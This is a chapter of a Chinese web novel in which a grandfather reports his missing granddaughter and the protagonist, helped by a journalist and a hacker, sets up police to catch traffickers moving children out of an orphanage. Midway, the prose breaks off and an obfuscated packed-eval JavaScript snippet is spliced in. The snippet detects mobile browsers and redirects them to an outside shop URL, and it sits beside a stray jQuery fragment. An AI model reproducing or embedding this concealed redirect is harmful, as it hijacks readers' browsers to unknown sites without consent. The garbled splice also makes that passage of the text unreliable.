薄今郁沉默了一会儿说道:“在想,我爸当年查这些事的时候,是不是也见过类似的场景。”
司理没有接话看着车窗外倒退的路灯。
路灯一根一根地往后跑,光一帧一帧地闪过。
“他会看到的。”她说。
薄今郁看着她,忽然笑了说道:“你什么时候开始会说这种话了?”
“刚学的。”司理面无表情地说道:“是不是说得不太好?”
薄今郁笑得更开了说道:“还行。继续努力。”
沈夜在前面开车,从后视镜里看了他们一眼,嘴角微微动了一下,没说话。
第二天上午,陈老头去了临市公安局。
他天没亮就起来了,穿了一件干净的深蓝色夹克,把陈小朵的照片和失踪证明装进一个牛皮纸信封里。
然后他出了门,坐了一个小时的公交车,到了临市公安局门口。
公安局是一栋灰色的楼,门口挂着国徽,台阶很高。
陈老头站在台阶下面,抬头看了一眼,深吸了一口气,走上去。
接待大厅里人不多,一个年轻民警坐在柜台后面,正在看电脑。
陈老头走过去,把信封放在柜台上说道:“同志,我要报案。”
民警抬起头,看了他一眼说道:“什么事?”
“我孙女。五年前丢了。有人说她在阳光福利院。”
民警接过信封,打开,拿出照片和失踪证明看了看。
照片上的陈小朵穿着红色棉袄,站在雪地里,笑得很开心。
失踪证明已经有些皱了,折痕很深,边角都卷起来了。
“有人说?谁说的?”
“网上。有人提供了线索。”陈老头说:“说她在临市阳光福利院。”
民警皱了皱眉。
这种网上有人说的线索,他一天能接到好几个,大部分都是假的。
但陈老头说得有鼻子有眼,表情也不像是在骗人。
他把信息记录了下来,把信封还给陈老头。
“我们会去核实的。你先回去等消息。”
“同志,能不能快点?我孙女已经丢了五年了。”陈老头的声音有点抖。
“我们会尽快。”民警说。
陈老头把信封收好,转身走出公安局。
他站在台阶上,看着街上的车流,站了一会儿,然后慢慢走下台阶,往公交站走。
与此同时,司理在工作室里给方晴打了电话。
“方晴,你临市的那个同行,能联系上吗?”
“能。我给她打个电话,让她联系你。”
挂了电话不到五分钟,司理的手机就响了。
对方姓孙,是个年轻的女记者,声音很清脆,说话很快。
“司大师?方晴跟我说了。阳光福利院的事,是真的?”
“真的。”司理说:“里面有十七个孩子,是被拐来的。福利院的人晚上会用面包车把孩子转移走,送去别的地方。”
电话那头沉默了一下说道:“你怎么知道的?”
“你不用管我怎么知道的。你只需要知道,这件事是真的。如果你跟进报道,能救那些孩子。”
孙记者又沉默了一下说道:“我需要证据。”
“证据会有的。你今天下午去阳光福利院门口蹲着,看看有没有一辆灰色的面包车。车牌号我发给你。拍下来,别打草惊蛇。”
“好。”
司理挂了电话,给司柔柔发了一条消息:“把阳光福利院的监控截图和车牌号发给我。”
司柔柔秒回,发了两张截图。
一张是灰色面包车停在福利院门口的照片,车牌号清晰可见。
另一张是陈远站在车旁边的照片,脸被帽檐遮住了,但身材轮廓很清楚。
司理把这两张照片转发给了孙记者。
下午,临市公安局的人去了阳光福利院。
两个民警,一男一女,开着警车,停在福利院门口。
门卫室里的老头看到警车,愣了一下,然后站起来说道:“你们找谁?”
“我们是临市公安局的。接到报案,说你们这里可能有被拐儿童,过来核查一下。”男民警亮了一下证件。
老头的脸色变了一下,但很快恢复了正常。
“我们都是正规手续,孩子都是合法收养的。你们进来看看吧。”
两个民警进了福利院。
主楼的窗户还是关着的,窗帘拉得严严实实。
姓王的老头带着他们上了三楼。
走廊很长,两边都是房间,门关着。
他推开其中一扇门,里面是孩子们的宿舍。
地上铺着床垫,床垫上铺着灰色的床单,几个小女孩蜷缩在上面,有的在睡觉,有的坐着发呆。
女民警蹲下来,问一个小女孩说道:“你叫什么名字?”
小女孩看着她,没说话。
眼睛很大,但眼神是空的,像是什么都没在看。
“她有点怕生。”姓王的老头在旁边说道:“这些孩子都是被父母遗弃的,我们收进来的。手续都齐全,你们要看吗?”
“看一下。”男民警说。
老头带他们去了二楼办公室,从柜子里拿出一个文件夹,里面是孩子们的收养手续。
手续看起来很正规,有签字,有公章,有编号。
男民警翻了一遍,没看出什么问题。
他把文件夹合上,还给老头。
“我们会进一步核查的。如果有什么情况,再联系你们。”
“好的好的。”老头送他们到门口,站在台阶上,看着警车开走。
当天晚上,孙德胜就知道了警方来过的消息。
他正在福利院对面的小饭馆里吃饭,接到一个电话。
电话那头是姓王的老头,声音压得很低。
“孙总,今天下午警察来过了。”
孙德胜手里的筷子停了一下说道:“查到了什么?”
“没什么。就是看了看,问了几句。我把手续给他们看了,他们没说什么,走了。”
“孩子们呢?”
“都还在。没人动。”
孙德胜沉默了一下说道:“我知道了。”
他挂了电话,饭也不吃了,站起来走出饭馆。
他站在路边,掏出手机,翻到陈远的号码,拨了过去。
电话响了三声,接了。
“警察来过了。”孙德胜的声音很紧张。
“查到了什么?”陈远的声音很平静,像是什么都没发生。
“没什么。就是看了看,问了几句。但我总觉得不对劲。他们怎么会突然来?是不是有人举报了?”
“有可能。”
“那怎么办?”
“把孩子们转移走。明天晚上,我开车过来。”
“好。”
孙德胜挂了电话,站在路边,长长地呼出一口气。
他的脸色不太好,额头上冒出了冷汗。
他不知道的是,这个电话被人监听了。
司柔柔坐在书桌前,三台笔记本电脑都亮着。
她戴着耳机,手指在键盘上敲了几下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650287|204768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把通话录音保存下来。
然后她把录音文件拖进消息框,发给了司理。
司理在工作室里,手机震动了。
她点开消息,是司柔柔发来的一段录音。
她按了播放,把手机放在桌上。
孙德胜和陈远的声音从扬声器里传出来,在安静的工作室里听得很清楚。
“警察来过了。”
“查到了什么?”
“没什么。”
“把孩子们转移走。明天晚上,我开车过来。”
录音放完,司理把手机拿起来,冷笑了一下说道:“果然。他们急了。”
薄今郁坐在对面,手里端着奶茶说道:“你猜到了?”
“猜到了。警方一上门,他们就会转移孩子。这是他们的一贯做法,被发现就撤,换一个地方继续。”
“所以我们得在他们转移的时候,让警方抓个正着。”
她给陈老头打了个电话。
“陈老先生,明天晚上之前,再催一次警方。就说你收到消息,福利院要把孩子转移走。让他们尽快行动。”
陈老头的声音很激动地说道:“大师,是不是有消息了?”
“有。明天晚上,福利院会有一辆面包车来把孩子接走。你告诉警方,让他们那个时间去。”
“好。我马上打电话。”
司理挂了电话,又给孙记者打了个电话。
“孙记者,明天晚上,阳光福利院可能会有动静。你盯紧了。”
“什么动静?”
“有人来转移孩子。你拍到画面,就是独家新闻。”
孙记者犹豫了一下说道:“你确定?”
“确定。”
“好。我会去的。”
安排好这些,司理才坐下来,喝了口水。
她从早上到现在没怎么吃东西,胃有点不舒服,但她没在意。
薄今郁在旁边看着她说道:“你觉得警方会信吗?”
“信不信不重要。重要的是,他们得去。”司理把水杯放下说道:“陈老头报过案了,警方已经去过一次了。现在他说有新的线索,警方不敢不去。万一孩子真的被转移走了,他们担不起这个责任。”
“那如果警方去了,没抓到人呢?”
“会抓到的。因为陈远一定会来。”司理说:“孙德胜已经被吓到了,他现在只想尽快把孩子弄走。”
“陈远是裴东来的人,他有车,有路子,是唯一能帮孙德胜转移孩子的人。他们一定会来。”
“那陈远呢?”
“陈远是裴东来的人。如果他被抓,裴东来就少了一条胳膊。而且……”
司理顿了顿说道:“陈远知道很多裴东来的事。如果他落在警方手里,裴东来就麻烦了。”
薄今郁点了点头。
第二天晚上,临市公安局的人再次去了阳光福利院。
因为陈老头打电话说:有人看到面包车晚上进出福利院。
值班的民警把情况上报了,局里决定出警。
两辆警车,四个民警,没有开警灯,悄悄地开到了福利院门口。
他们到的时候,一辆灰色的面包车正停在福利院门口。
发动机没熄,车灯亮着,照着福利院的大门。
车旁边站着两个人,一个是孙德胜,穿着深色夹克,手里拿着一个文件夹。
另一个戴着鸭舌帽,帽檐压得很低,看不清脸。
但身材和走路姿势,和监控里的一模一样。
民警下了车,走过去说道:“警察。你们在干什么?”